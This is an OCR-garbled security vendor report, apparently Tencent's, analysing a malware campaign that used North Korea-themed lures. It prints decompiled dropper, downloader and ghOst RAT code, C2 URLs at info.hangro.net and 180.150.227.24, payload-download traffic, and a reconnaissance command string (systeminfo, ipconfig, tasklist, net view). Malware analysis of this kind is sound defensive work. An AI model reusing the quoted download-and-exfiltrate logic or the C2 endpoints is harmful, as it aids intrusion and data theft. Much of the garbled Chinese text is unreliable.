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"B BIAREEREE:
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1. payload RANEESTHFIIE PE R :

H

-

R

S A9 AEEY 2FEA B A8 screxe

B [FlFle: 32 REL S34
M 8 screxe

=2 "BITVIEW™
{ L) 132 - Jlang:4100]

L2 139 - lang:4100]

R & = o p

g EHED BB Of f ==t B s Be Be M B 6 B
M Ens il . (5 129- lang:4100] [ 00000000 | C3 51 1B 24 38 69 B8 8%
(= Mt Headers L @ Tons 00000010 | Ba 24 EZ C2 03 A2 F2 DEf
(= File Header - 00000020 | 1C C4 6D 45 91 29 B9 EL
(@ Optiorial Header ) Menus 00000030 | 61 B2 67 30 54 DA 59 4F
. e, ) Dialogs 00000040 | 96 20 51 A A0 D7 45 3z
— 2] Data Directories [} 3 String Tables 00000050 | 61 6F CB BA 98 34 A3 77
| @ Sechion Headess ] e 00000060 | 38 F& 77 64 1F 88 F2 8EF
| 3 import Directory = 00000070 | 04 27 20 4F 2B €3 FE &7
. : () Icon Groups 00000080 | 2C EF EB 89 OF 0OC 41 4€
— |3 Resource Directory -3 Configuration Files (00000090 | E4 DS 33 BA 56 A3 1B 8f
— 9, Address Converter 000000A0 | 0D A2 EZ 3B A3 C7 ED C-
| Docndency 000000E0 | Ca 3D 2C 7C SF 5C 16 5z
| e Wathon 000000Co | 11 A1 3D 7F CB 73 BB 4¢
Al or 000000D0 | 6D 16 SA& 92 B2 78 AB 84
— 4, Identifier O00D0O0ED | 46 9C EE 91 12 BS EE BE
| 4% import Adder 000000F0 | C9 E4 2F D2 73 8D AC E1
| s o 00000100 | C4 63 3C 73 DO CD 42 EC
A sassembl 00000110 | DF F& 77 1B 2C AS 32 4%
— 4, Rebuilder 00000120 | 1C CD 37 02 41 4A 97 37
L %), Resource Editor 00000130 | 56 81 72 99 E7 1C BO 3C
[ 3, UPX Urilty 00000140 | EB B4 FC 85 78 CE CF EE
: 00000150 | 60 77 CD D4 B9 SE 8C EC
nonnnien 74 231 BT B1 17 BN OFR OAr
B 6: BEHASE
N e - - N
2. FRHBLISESEN A FME, BXEPD APl REERmNZSER:
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TLP: WHITE Tencent Security
text:ee482660 mov [esp+178h+var_158], al
Ltext:ee482671 mav al, eCh

Jtext:ea482673 push ebp

Ltext: 88482674 mov [esp+174h+var 152], al
Ltext: 88482678 mov [esp+174h+var_151], al
Ltext:8e48267C push esi

Ltext:88482670 lea eax, [esp+l78h+LibFileName]
Ltext:ee4a2681 push edi

Ltext:Be482682 push EEX ; lpLibFileName
text:ea482683 mov [esp+l3@h+LibFileName], "K'
Jtext:@a482683 mov [esp+l88h+var 15A], 'R’
Ltext: 88482680 mov [esp+i8Bh4var 159], 'N'
Ltext: 88482692 mov [esp+18Bh+var_157], 'L’
Ltext: 88482697 mow [esp+188h+var 156], '3°
Ltext:eada269C mow [esp+188h+var 155], '2°
Ltext:ee4a2641 mov [esp+i88h+var_154], '.°
Ltext 1 BB482646 mov [esp+188h+var_153], 'd’
Ltext:ea4826A8 mov [esp+l28h+var 158], @
text: 88482680 call ds:lLoadLibraryA

text: 88482666 mav esi, eax

Jtext: 08482688 maow al, 63h

Ltext: 88482684 mow bl, 65h

Lext:eed4e26BC maw dl, 75h

Ltext:8848266E mow cli: 7Zh

Jtext:ead82608 mov [esp+17Ch+var_l4acC], 'L’
text:ead826C5 mov [esp+17Ch+var 14B], 'of
Jtext:ea4826CA mov [esp+17Ch+var 144], al
Ltext:Ba4826CE mov [esp+17Ch4var 149], 'k’
Ltext: 88482603 mov [esp+17Ch+var_148], 'R’
Ltext:ee4826D8 mav [esp+'5'], bl

7. FHEFAFERARET

3. M BITVIEW SR-FRERE (A3 happyCar.jpg # Car.docx FHTFT, fazeSfRN

ool ] 1
BT R
=+ BITVIEW" f'

132 - [lang: 4100]

Qffset hi S f2 2 A 36 By M OOE N W B B W E R Ascii
00000000 | C3 51 1B 24 368 69 86 89 B3 29 60 53 DA AE 5E FE | AQISBLilN IS
00000010 | BA 24 E2 C2 03 A2 F2 D& 10 32 SE 59 Ak SE DE EE | 25aknco@i2™y
00000020 | 1C C4 6D 45 91 29 B9 BD 90 3F S5F 21 9E 3B A6 20 EmE" )% 7.1 |
Merus 00000030 | 61 B2 67 30 54 DA 59 4E 6B 9E 7E 27 AF &0 8D AE | a*gOTUYNKI=
Dislogs 00000040 | 96 20 51 S& A0 D7 45 32 97 6B A3 77 5E D3 Bl 93 | 1.0Z =E21kiw
String Tables 00000050 | 61 6F C§ 6A 9% 3& A3 73 C2 CO 9D F1 DF 14 39 7E | acEjl:£shh ®
00000060 | 38 F6 77 64 1F 89 F2 8B B9 92 73 E7 7& E? 22 OF | 85wd 191! sc

- 129 - [lang: 4100]

Icons

Frocelerators 00000070 | D4 27 20 4F 2B 63 FE 67 E2 81 01 EB D5 4% 05 23 | I'.C+chga 18

! e Groupss 00000080 | 2C EF EB 89 OF 0OC 41 46 40 9B DD 58 C2 40 E0 EC | .isIIIAF@ITE
B0 Configuration Files 00000090 | E4 DE 33 BA 56 A3 1B 88 35 34 61 0E 28 94 15 7E | S@3eVE|)5:al
00000040 | 0D A2 E2 3B A3 C7 ED C3 BE 87 41 C6 33 E7 B3 D& | .ca:£CidIIAR
000000BED | CA 3D 2C 7C 8F 5C 16 52 25 B6 6C 49 04 Ch 42 s4 | E= | “JRx1lE
000000C0 | 11 A1 3D 7F CB 73 BB 45 61 23 54 B5 98 77 16 D5 | 1i=1Es»Ea#Ty
000000D0 | 6D 16 54 92 E2 78 4B 84 EE 54 81 B9 BO AE 45 C9 | mJZ ?=m«]iT !

AnAAAnTA 15 e Y A4 4 TP BT MY An Fe ST AT aAa s T L r

8: FREERIREPAIESG
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5 lstrcpyA(&Stringl, &String2);

6 v2a = “p’;

7 vas = "p;

8 v32 = "p”;

g ¥22 = "h';

2] w23 = 'g";

1 v2e = “y';

2 va7 = 'C';

3 vZ2E = "ats

4 v29 = s

5 v3g = T T

8 v3l = 'j';

7 v33 = “g7;

8 V34 = @;

g IstrcatA(&Stringl, &w22); happyCar.jpg
2 sub 4@266@((int)&5tringl, @x8Bu, (inte);.

1 sub 408296@(&Stringl, 5);

2 13 = "c';

3 = "ats

4 = Spits

5 = "."3

6 = 'd";

7 = Tmis

8 = YELD

g \ R i

2 v2Zl = @3

1 lstrcatA(&String2, &v13); ar.docx
2 sub 402660( (int)&String2, 6xs84u, (inte);.

3 sub 402960(&string2, 5);

9: BIBEESIHRCERATS

FEIIFRUE (BAEHX......)

(oo g e F
| XH v OHE v BFEEE  HRY v T v

M )
.La

LNTA,
AAREsETN!

IZiois I digieainis 228

& 10: FEE 1
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car.docx - Microsoft Word

Page Lal_yjm.rt References Mailtn_g_s_ Review View
Calibri (Bocy) e L B2 B R 254 # asboend | assbccos AABE AaBbC AaBb( AaF
|B 0 = abe %, 3 A;'”EP.?' ﬁ-”§‘|§| |§ i ||'Q' _-‘ #Mormal | ¢ Mo Spat.. Headingl  Heading 2 Title Subt
Font [5 Paragraph =

B 11: BEE 2

4. BERM EXBIN &RPEEIL carsrvdx.sed BR S H RAETIE S TR E RS FHEZ

dIl LARGIRSHIS TN EREISEIFAN
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= "\x02';
RegSetValueExA 48ABS@(v7, &v16, @, 4, &8,
42 = 'cseD';

4);// Start

' DE;CFlpTlGn
7, &v42, @, 1, lpStrin

185 V5)3

34 = "ARAP';

v33 = @;

RegCreatekeyExA_4B4B53( ',

RegSetUaIueExA 4BABS@(vD, &
S

1, &va); // PARAMeters
; B, 2, &visa, strlen(8&v142) + 1);

vE = lstrlenA(&5tring)

RegSetUaIueExA 4BABSG(

RegCloseKey 48ABAC(v9);

RegCloseKey . 48AB4C( Y5

sub_48266@( (int)&vidd, @xs8lu,
7 =e:

" // ClientThread
1 ring, v6);// ServiceMain

B 12: EIRSSA TS

ZRFINEFEERRET, BRREES R ERAY RCA B

, %89 ssove0117:

Bl IEmERTO
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178 if ( a4 8% *lpBuffer != 'M" &R lpBuffer[1] != 'Z°
171 §

172 23 = 13
173 S T
174 =iets
175 = ety
176 e
177 o e
178 = ‘e’;
179 = '0";
188 V25 = "7°;
181 = 8;

132 rcd _init(vd7, (int)}&v17, strlen(8v17));

a)
J

83 rcd crypt(vB7, (int)lpBuffer, vl4};

184 }

18 NumberdfBytesWritten = @;

15 WriteFile(vl5, lpBuffer, w14, &NumberOfBytesWritten

187 CloseHandle(vl5);

13: RC4 fREZIRED

2.3 Downloader 9%

MBS payload 324 carsrvdx.sed SEfR/9— downloader:

BJSHiE url, M http://info.hangro.net/file/start?session=[8 {\FEH1EIF]&imsi=0

SRENE NEAISU4&:

Bl IEmERTO

11/73



TLP: WHITE

fsRZE

Tencent Security

wsprintfA(&.
strepy((char
strcat((char
strcat((char v 5
strcat((char s (const char *)&v22); // &imsi=

strcat((char *)&v137, a@);

if ( Download 10881120(&name_info.hangro.net, 8989, (int)&v197, &Filename) ) |
i

SJ‘ /! [file/start?
H // session=

&

fopen(&Filename, Mode);
g:

}
while ( v1e );

memset(&50uF, B, Bx184u);
if ( fgets(&Buf, 100, vI
i

do

OutputDebugString(&Buf);
v strlen(&Buf);

11 »=3 }
== 18 )
8;
if ( strstr(&Buf, SubStr) ) i
OutputDebugString(aEr); /! ER..

V18 = 18803

&v138);
g, (const char *)&v22);
8Buf)-

strcat(&v
OutputDebugstring (&
OutputDebugstring (&

3

[v1Z = Download_18881128(&name_info.hangro.net, 8989, (Int)&0utpui

iF (w13 )

11 *)(CHAR *, signed int, signed int, _DWORD,

if (
goto LABEL_21;
v =if (__stdecall *)(int, _DWORD) }Get

5)(viz, @);

14: $EIEREE url AXFB

C2 (SR RIS TEBERA, 7 info.hangro.net:

Bl IEmERTO
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TLP: WHITE Tencent Security
text: 18881650 mov [esp+@s24h+name], "1
text: 16881665 mov [esptaf2dhtvar 94F], 'n’
Ltext: 18881660 mov [esptai2dhtiiriteFile], eax
Ltext:lee01674 mov [esptai2dhtvar 94E], 'f'
-text:1e88167C mov [esp+es2dh+var_94D], 'of
.text:18801684 mov [esp+aa2dh+var_94C], '.°
.text:1888168C mov [esp+ei2dh+var_94B], 'h'
text:1leaeele94 mov [esp+as2dh+var_948], 'a’
Jtext:1888169C mov [esp+@A24h+var 949], 'n’
Jtext: 1eeslond mov X, i

LEext: 188681640 wor eax, eax

Ltext: 18801648 lea edi, [esp+BA2dh+var_5948]
.text:1e8816E62 mov [esp+es2dhtvar_948], 'g’
.text:188016BA mov [esp+aa2d4h+var_947], 'r'
text:leeelel2 mov [esp+ei2dh+var_946], 'of
text:leeeleCA mov [esp+as2dh+var_945], '.°
Jtext: 18801602 mov [esp+@As2dh+var 9447, 'n’
text: 16801604 mov [esptai2dh+var 9437, bl
Ltext:188816E1 mov [esptai2dhtvar 9427, 't°
Ltext:188016E9 mov [esptai2dhtvar_941], @
.text:188016F1 mov [esp+es2dhtvar_B4F], 'f'
Jtext:188816F9 rep stosd

15: #=fif C2 (EEAH3

URL B#{=R session=[8 MFENEF]&imsi=0:

Jext:leeelsar
Jtext:leeelsva
ext:leealsio
Jtext: 18861876
fext:leealsse
Jext:1eeelsss
Jtext:leeelssh
Jfext:1ee8l188E
Jext:1eeelsss
Jext:1eaelsss
Jtext:leealssD
Jtext:leeelsA2
ext:leealsAy
Jtext:leeelsAl
Jtext:leeelsbe

[esp+eA2ah+var 9FA], ‘s’

movshb

[esp+eszah+var_9F3], 's'

s
[esp+ep2ah+var_9F8], 'i
[esp+eazah+var_9F7], ‘o
[esp+eAzah+var_9F6], 'n

1

[esp+eazah+var_9F5], a
[esp+eA2ah+var_9F4], @

byte
byte
byte
byte
byte
byte
byte

ptr [esp+@A24h+var_Ale], '&'
ptr [esp+BAZah+var Ale+1], ‘i’
ptr [esp+@AZah+var Ale+2], 'm’
ptr [esp+@AZ4h+var_ Ale43], 's'
ptr [esp+@A2dh+var_ABC], 'i'
ptr [esp+BAZ4h+var_ABC+1], al
ptr [esp+@d2dh+var_ABC+2], @

16: URL &E=E

Bl IEmERTO
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GET /file/start?session=0169187&imsi=0 HTTP/1.1

Host:info.hangro.net

Accept:*/*

User-Agent:Mozilla/4.8 (compatible; MSIE 2.18; Window 5.1 41444d494e4953542d423234433738 )
Connection:Keep-Alive

HTTP/1.1 286 OK

Server: Apache-Coyote/1.1

Content-Disposition: attachment; filename="robots.txt"
Content-Type: application/x-msdownload

Content-Length: 18

Date: Thu, 11 Jul 2019 ©7:28:40 GMT

avp.exe
avpif.exe

17: C2iR[ERVEHE (S4#)

152343 avp.exe, avpif.exe FEMIELLT URL BT REEHHIELIT URL #17 FE:

http://info.hangro.net/file/start?session=[8 {\fEH1EI=]&imsi=avp.exe

http://info.hangro.net/file/start?session=[8 {iBEH£=F]&imsi=avpif.exe

HTTP 261 GET /file/start?session=0169187&imsi=avp.exe HTTP/1.1
HTTP 1093 HTTP/1.1 200 OK (application/x-msdownload)
HTTP 263 GET /file/start?session=8169187&imsi=avpif.exe HTTP/1.1
HTTP 344 HTTP/1.1 288 OK (application/x-msdownload)

18: PHERMMAERITHEIEK

TEERAISGEEFELIIE SRR RCA 7%, %A Higaisakora.0:
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if ( *vi7 1
{

" (1] = "2")

72;
105;
1e3;
97;
185;
115;
97;
107;
111
114;
97;
46;
48;
= 0;
rc4_init(&v42, strlen(&v42));
rc4_crypt( » 3
((void _stdcall pid *, DWORD, DWORD, _DWORD))Set ter)(vi4, 0, 0, 0);
( 2 » , & :9)5

wononon

} 5
ndle(v14);

operator delete( );

19: MRESIHRY RCA Z5HIER

E=/afEFH CreateProcessA 1T NEEISRAISI (S

64 ame = 'C";

3

78 5

79 Pro v3 = GetProcAddress(vl, &Prochame};
Gl int (_ stdcall *)(_DWORD, int, _DWORD, _DWORD, _DWORD, DWORD, DWORD, _DWORD, int *, int *))CreateProcessA v3)(
81 8,

82 al,

83 e,

a4 @,

a5 8,

86 e,

87 2,

88 8,

89 &v3i

o &

G > )
FreeLibrary(v2});
92/ return vé:

20: AT TEIESUHRIRERAET

2.4 avp.exe th

TEEISEAISZ4 avp.exe (fca3260cff04a9c89e6e5d23a318992¢c) E—/MuigizdAL,

2D, KMZASRET ghOst FIREEESRIENMRE, FRT <o RMETRSESE
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BEFARRNZIN, BEftREREMERN), EARERIFERAIER, W0 buffer 2,

Hrh C2 3 console.hangro.net: 1449,

C2 EtHER R EER S TR RIS CAS

OutputDebugStringli(L"3");

T e B

O MmO Ll

162 vi7 =

163 if { sub_481A7@(v; [1a29u) 3]
165

166 - vi7);

21: IR C2 (518

#0 ghOst RAT EIHFRIRASES

stdcall
+ 66) = v7;

283, *((_Dh
209 if { v7
218 return @;
211 WideCharToMultiByte(®, @, 1pi
2 w9 = ({int (__stdcall *)(CHAR
137 sdfFuf bwgl)
14 return @;

-1)

19 ;i_f { ((int {_ stdcall *

}
v3[8469] =

i

B

return 1;

1

L e T B B = T S OB O O O O

+

s
W ®

B B
3
'3
i
'3
Fo=""E" g
o'
Wi
14 'o';
147 Mt
148 ‘e's
148 'h';
15p ‘a's
151 B
15p il e
153 'o';
154 -
158 g i
156 :
157 // console.hangro.net
158
159
168

((int (_ fastcall igned int, unsigned int)}GetTickCount_wilf

Tn;sig:%ed‘ int, ;Lgned int, signed int}}socket_v

viel){vie, &1es, 16)

_ intle *, signed int))connect_
(] return 83
1| w1l = *{(_DWORD *}v3 + 66);
20 wvi3 =1;
3 if ( '((int (_ stdcall *)(int, signed int, signed int, char *, signed int))setsockopt vl

_DWORD, _DWORD, char

2

2

24 {

25 = =({_DWORD *)u3 + BB);
26 1;

27 30000;

28 5@ea;

24 (_ stdcall *)(int, unsigned int, int *, signed int,
ET: 12,

31 Bxoseaaees,

32 &v182,

33 1%,

34 e,

35 o,

36 &v13,

37 a,

38 @);

39

1;
*((_DWORD *)v3 + 65) = MyBeginThread_4@523@(@, @, (int)sub 4@1ES@, (int)v3, @, 8, 1);

y(vii, OxFFFF, 8, &13, 1) )

*, _DWORD, _DWORD))WSAToctl v6)(

Bl IEmERTO
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22: fHBE5HER ghOst —&¢

AR D KD BB, MR TEAEoHImSAERE, RRETHRGEEE, A5

HIFTBTIREEB BT A 7ok :

void thiscall commanddis 4843E@(int this, unsigned int8 *a2, int a3)
int v3; // esi

is;

switch ( *a2 )
71
a case @u:
a InterlockedExchange(({volatile LONG *)}(this + 468624), 1);
18 break;
11 case 1lu:
12 case 13u:
13 case 23u:
14 case 36u:
15 case 37u:
16 case 4lu:
17 *(_DWORD *)(this + 4 * *( _DWORD *)(this + 48616) + 16) = MyBeginThread 485238(
18 a,
19 a,
2a (int)sub_48412a,
21 (int)(az + 1),
22 a,
23 a,
24 a);
23 b 3+ 49016);

41 his + 4 * *(_DWORD *)({this + 48816} + 16) = MyBeginThread 485236(
42 8,
43 a,
an (int)sub_4e415@,
45 (int)(az + 1),
46 a,
i e,
43 1};
49 ++* (_DWORD *)(v3 + 48816);
5@ Sleep(@x64u};
51 break;

default:

return;

23: a9 RAIBAETS

FMEEEEREIIX IR — M SEREGE PluginMe 20, 5— 1M NUZEEA

PluginMeEx %M. & TEAIIEEZRERTHRTEBAIT.
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L BARPROC w13 //
void (_ cdecl *wv8)(int, int, lat, int, int); //

ROC resulty /f e

FARPROL v5; /f

A I
s

ar va;- /]

[
1"
I

void (_ edecl *v6)(int, int, int); [/ «

ARFROC ) LoedD11ToMem_483518( b
RPROC ) LoedD] 1 ToMem_883518( Loten); it
. + 2 if ¢ It )
1 {
23 decl *)(int, int, int))GetProcAddrEx_a830A8(r: s (Ant)E
JEETProcAGdrEX_4830A8( s (Ant)eva)s . )
3 = sub_483E38(v5)}
2 1
13 if
- 3 e = }3_GetProcessHeap_483330(1pten);
return result;

24 WA TR EETIRENES

BRI E 7 [BISRAYERE-9 FileManager.dll (dd99d917eb17ddca2fb4460ecf6304b6, % :

REFIEAERE) | ZEE IR EREY, Hando kS ghOst IRISTREAMEEA 90%

T switch (pBuffer)
{

case COMMAND_LIST_FILES:// FELZI%
SendFilesList((char #)pBuffer + 1);
break:
case COMMAND_DELETE_FILE:// 8324
Deletefilel{char *)pBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
= case COMMAND_DELETE_DIRECTORY:// BleITs
| 1H/printfCBIRER %s\n", (char *)(bPacket + 1))
DeleteDirectory((char #)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
breal;
case COMMAND_DOWN_FILES: //
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // -S4
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break:
case COMMAND_RENAME _FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer(;
break:
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreatelocalRecvFile(lpBuffer + 1)
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
breal;
case COMMAND_OPEN_FILE_SHOW:
Openfile((char ¥)ipBuffer + 1, SW. SHOW)
break;
case COMMAND_OPEN_FILE_HIDE:
OpenfFile((char *lipBuffer + 1, SW HIDA;
break;
default:
break;

[FAra- 0 & x | [ vie

(=) Wowom

wn o -

Library function [l Regular function Ml Instruction

D A R - e
I |
Date [ Vnexplored | Externsl symbol

B e

gy s e w

J [ psendocot~ B {Pss\ldacad B

| & strings win-

=

| & stracte [

Function name. zwitch (va)

) = (unsigned int)sub_10004210(

= sub_10803A98(this, (int)(al

sub_10003E08( this,

= sub_10004208( (cons

= (unsigned int)sub_10004490((const

= (unsigned int)sub_10883D20((const

Jthis, (PL

Y;// COMMAND_STOP

)al + 1), a2

+ 1));// COMMAND_LIST_FILES

(LPCWSTR) (a1 + 1));// COMMAND_DOWN_FILES

is, (int)(al + 1));// COMMAND FILE_SIZE

- 1)3// COMMAND_FILE_DATA

)(al + 1));// COMMAND_CONTINUE

v5 = LoadLibraryw(L kernel32.d117);

sub_10001000 Gasaat
=ub_10001030 LOBYTE(v4)
sub_10001050 break;
sub_10001080 case 3:
ub_100012F0 LOBYTE(v4
sub_10001350 18 break;
sub_10001410 19 case &
sub_10001420 28 LOBYTE(v4)
=ub_10001430 21 break;
Sub_10001400 23  gazey
sub_10001570 23 LOBVIECER).
=ub_toootsa0 (5| © 7F ca::fi"
sub_10001580 7 LoBvTE(va)
sub_10001T10 52 yiaiin
sub_10001730 28|  Caes:
=ub_10001850 29 LoBYTE(v4
sub_10001AC0 s Hegaks
sub_10001C10 51 case 9
sub_10001C20 32

sub_10001C30 33

sub_10001D00 32 7
sub_10001FAD (v L
cub_10002180 sub_10083E:

GetProcAddress(vs, aDeletefilew);

Y(unsigned _:

c. 8 %))
3, 108);

// COMMAND_DELETE_FILE

7t + 15

» (LPCWSTR) (a1 + 1));// C

ND_CREATE_FOLDER

+ 1));// COMMAND_RENAME_FILE

}(s1 + 1), 5);// COMMAND_OPEN_FILE_SHOW

L Y S

[

sub_10002250 3 LOBYTE(u4) eeLibrary(us)s
Pluginlle 2 breaky
=ub_10002350 2| gasEaa
e o00o00 40 sub_10083C38( (int)(al + 1));
W 41 LOBYTE(v4) = (unsigned int)sub_100B3EBB(v3, 108);
W= 42 break;
— 43 case 11:
il 0002300 a4 LOBYTE(v4) = (unsigned int)sub_100@4538(this, a1 + 1);
sub_10002440 45 break;
sub_10002480 45 case 12:
sub_10002530 47 LOBYTE(v4) = (unsigned int)sub_1060455(
sub_10002620 48 break;
ub_10002850 49 case 13:
sub_10002EFD s8 LOBYTE(va) = (unsigned int)sub_18084570(this, (LPCWSTR)
sub_10002CEQ 51 break;
sub_10002D00 52 case 14:
ub_10002E30 53 LOBYTE(v4) = sub_108035C8((wchar_t
sub_10002F20 : heeaks
ub_10003000 55 case 15: N -
b 10003080 = ;:Z;’E( sub_100035Ce( (wchar_t
sub_10003170 il defasit:
sub_10003180 & rtburn
sub_10003280
=ub_10003380 Fettenis
sub_10003500 ~
™| '
Line 1 of 93
M- O & X

25: XHHHETREMS ghOst RAT XA EIRIEELLER

M=l + 1), @);// COMMAND_OPEN_FILE_HIDE
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2.5 avpif.exe 2

TEERIBIM 14 avpif.exe  (77100e638dd8ef8db4b3370d066984a9) , %

NHRIREEERIWERSER, FRIEEI C2 4,

KRS EEE:

.

REER: BN RENRA. BPER. REHT. MRERS

MBER: FHWEER

HIETIFR

B, B, FHERIRRIIER
C &35z

D 845

® & &6 o6 o o

E BXMH5I%

WEERHITRIEGS, mUBLINEF BRI SRS, BEERT:

sub_402810(8x103u,

sub_402B10(@x103u, (int)&s

sub_402B10(8x103u, (int)&i

memset(&v25, @, @x480u);

sub_401850(
"3GaavaYeyviVxZch0-Z821z8XBc3CUBRS VWA -CSpPyBedsKALpODB1HVBDHI 7Y81Hz0zPsahSB6igrwilcH20deiupn]™, // "systeminfolipconfig -all&tasklist@net viewddir c:\&dir d:\8dir e:\”
(int)&v25,

55 if ( sub_401608(&DsTEUT) )

if ( sub_4@37D8(&v24) )
:

26: FATHIER AR HED

e TeRkfE e EERIIRSS =8, L& url 9

http://180.150.227.24/do/index.php?id=ssss:
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1ehar *sub 481546
2§

3 char *result; // eax

4 char *vi; // esi

5 char *Context; // [esp+@
& char Delim[2]; // [esp+s
7 char Str; // [esp+8h]

] Context = @3
18, strcpy(Delim, "&");
11 memset(& . 8 @x3E8Bu);

2 sub 481858( RRbBBX]HKECsaS}‘ ayvr SQU KKs2PztqlliurdTylmHYls4Edhl8™, (int)&Str, 52);// “180.158.227.24&/do/index.php?id=5555"

13 = str tok_s(&5t .-....-,&. rext);
14 1f( esult )
15, {
16 1 = DstBuf;
do
pr‘lntf s(vl, Bx96u, result);
2= = strtok_s({@, Delim, &Context);
1 += 150;
¥
while ( result });
24 ¥
5 return result;
26}
27: L1EZE C2 X3
—
=, REOHA
—

BT 2N BIMER P OISR ITAZHE, HMNAMAKERZIEERAIER,

HABNZ BRI EEHITRIE, (BN BRI ENEERNR T HE.

3.1 MialE

S ESNARTL, &S AERAE XM GRS . MIEHNNEEOEANEEED
RE. BEREDHGE, MR n N T E.
FAMRIE payload FEZRIZHS" Higaisakora 0" HTHZR, BRI TR —RoOTXE:
https://malware.prevenity.com/2018/03/happy-new-year-wishes-from-china.html
BARTFRBZIREFRIER, (ERERSFRISERER, TLUBEARE—ARSHAEZ
M, MREZEKE, REAREF IBEETRBEREEME, FmsaEsids

B
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5 Happy 2018 - Wiadomosde (HTML)

Wiadomos Q Powiedz mi, co cheesz zrobié

i? y Wiadomosci-Smiec x Q (t% 8 ﬂspﬂtkanie m -m'-""ii'J':-‘“-'
Usun Archiwizuj Odpowiedz Odpowiedz Przetlij [’f,;, Niecei Przenies qaﬁukcje'
wszystkim  dalej = ni
Usuwanie Odpowiadanie Przenoszenie

§r. 31,01.2018 18:10

cor @ .gov.cn
Happy 2018
Do
D Happy 2018 .rar i
33 KB
Dear 5in

| am very glad to get in touch with you.l hope we can work together in 2018.Wish you fruitful results in 2018
Please open the attachments.

Best regards.

28: $9EmpE (31FE malware@prevenity {#22)

v

[ o=

P

MGHEIAL, SHE WA

29: FEHETAZE (518 malware@prevenity {#%)

s, BEERRE, HAIRIZEMFRIARIXERFEY gov.cn RIERFE, FVENEE TS
S 75 gov.cn RUMBAE, ATRFIRIZMBELEGH TR T, RFERIILRINAM ABRTE
B4 china IR, EILEAEN, ZBRINEFI BIRFES XAVERAEMIBRIHITT

—EWE.
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3.2 EiEHE

IBHROSSEMRIE SRR D AR, —KATHITIHY, B—XIEEEES.

3.2.1 Al T8 1H
AT LIRS P
o XM (RENEEIIEIS, ETEREIARE N E

ZZARIRTHT S R B R— AR B AfR%ehk word. excel, pdf. txt, EREZRERIE]

tr, BAEREERNRSER:

£

] 0 N
| e

©

C
2
ex
*
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30: FEAER
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REEEDA:

1) EHBRARR, WHFE. TED. BFP. ZBEDEF:

Prs Qlipg

31: TRBANRRFEEE R

2) FREFER. MESALSHFRX:

| happyZ0.0xt - i0EA (=0 ESE S -"i , TS A * "

TP RED BERO) BBV BEHH) o AR Jﬂﬂ ET10| EbA

In the T0th anniversary dav of the DPRK, I wish the Great "'I [EE T F".II-I E*:'
107 =

North Eorea greater prosperity and prosperity. May our
cooperation be pleasant and lasting.

El 32: BFEK. LSRFHSEER

3) #hiE:

23 /73
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12,

North Korea Moranbong girl band leader heads Olympic inspection team
91 Jamuary 2018

Share this with Facebook Share this with Twitter
this with Email Share

Hyon Song-wol, head of the North Kores s Samjiyon Orchestra, arrive at the Gangneung
Art Centre to check the venues for its proposed art performances at Pyeongchang 201
Winter Olympics on 21 Jamary 2018 in Gangneung, South Korealmage copyrightGETTT IMAGES
Image caption

Hyon Song-wol, pictured centre, was the star attraction during the visit to South Korea
A North Korean delegation has arrived in South Korea for a landwark visit to inspect
cultural venues for next month’ s Winter Olympics.

It is headed by Hyon Somg-wol, leader of the popular Noranbong girl band and a big
celebrity in the secretive state.

North Korea agreed to send a delegation to the games after the first high-level
bilateral talks in two years.

The decision is seen as a diplomatic breakthrough after months of tension over its
ruclear weapons programme.

North v South: & history of sport, bombs and diplomacy

Reality Check: How good is North Korea at sport?

Share this with Nessenger Share

Local media showed the North Korean delegation crossing the heavily-fortified border on |

a bus before arriving in the South Korean capital, Seoul.
& coach carrying the North Korean delegation arrives at Grand Unification Bridge, near
the DNZ, in Paju, South Korea on 21 Jamary 2018Image copyrightREUTERS

Image caption

The delegation arrived at the Grand Unification Bridge,
the South

Hyon Song-wol is greeted by a South Korean official as she arrives at the South’s CIQ
{Custons, Immigration and Quarantine), just south of the demilitarised zone separating
the two Koreas, in Paju, South Korea, on 21 Jamary 2018Image copyrizhtREUTERS

Image caption

The games are seen as a way of easing tension between the North and South

Surrounded by hundreds of police officers, they then boarded a train to the sastern
city of Gangneung.

But it was on Hyon Song-wol that South Korea' s cameras were focused.

She and her 10-member Moranbong band are the glamorous face of North Korea - and have
been described as Pyongyang’ s answer to the Spice Girls.

Often seen wearing miniskirts and high heels, they perform a mixture of Western-style
pop and patriotic songs - in a style seen as quaintly provincial by South Koreans, AFP
news agency reports.

Ms Hyon was once rumoured to have been a former girlfriend of the leader Kim Jong-un,
although this has been dismissed by Horth Korea watchers.

She will lead the 140-member Samjiyon art troups, which is due to give two performances
— ane in Seoul and another in Gangneung - during the Olympics.

North Korea' s cheerleading charm offensive

from where they crossed into
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4) Hfty (BiEeBEREXE)

website.n - DEE
WEHF) WEE) METO) BBV R
l6th Pyongyang Int’l Film Festival Opens

e

Pyongyans, September 19 (K
due ceremony st the Pyon

) == The 16th Pyongyang l’n:r'\mmml Film Fes:
ang International Cinema House on We

val opened with

Present at
Culture Pak Chun Nam
cronicrs wd artlutes of
delegates from Chir
international

i Ryong Nem, vicerener of the Cabinet, Winister of

of the festival organizing committes, officials e
sector, warking people in Pyongyars, delegations and

Switzerland, France, Britain, Australia and Italy and

DPRE, Russia, China, Canada and Poland.

Invited there
military atta
Khions btopicg b

o Sarsien diplomtio ey mod seprssematines of intenet]
staff members of foreien emba: forel

nal bodies,
and overseas

to begin with.

Introduced at the opening

ceremony were movies exhibited at the festival, €
Palt Chun Mem in an opening address expressed the belief that the festival would be successful
in keeping with its noble ideal and the desire of the world progressive movie men before
declaring the opening of the festival.

atulatory
nt, sincerely

Vladimir Nenshov, of the International Jury Comnittee said in a c
speech that the DPRE ng importance to the cultural and art develop
wishing the festival bigger success in the future,

Then, the festival prizes were introduced

At the end of the ceremony the participants watched a C

se feature film

a reception at Okryu Restaurant for the

That day the organizing committee of the festival gave
participants in the festival.

HESRAEEE R 2
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Directory052703_docx.png

Beling-1.png

—_—— = Teermme = e

Directory052703 _xls.png happy.jpg merryjpg

urltdt - i2FE
XiHF) W|E) W\NO) FEV) BE(H)
Happy new day!

Pls open:

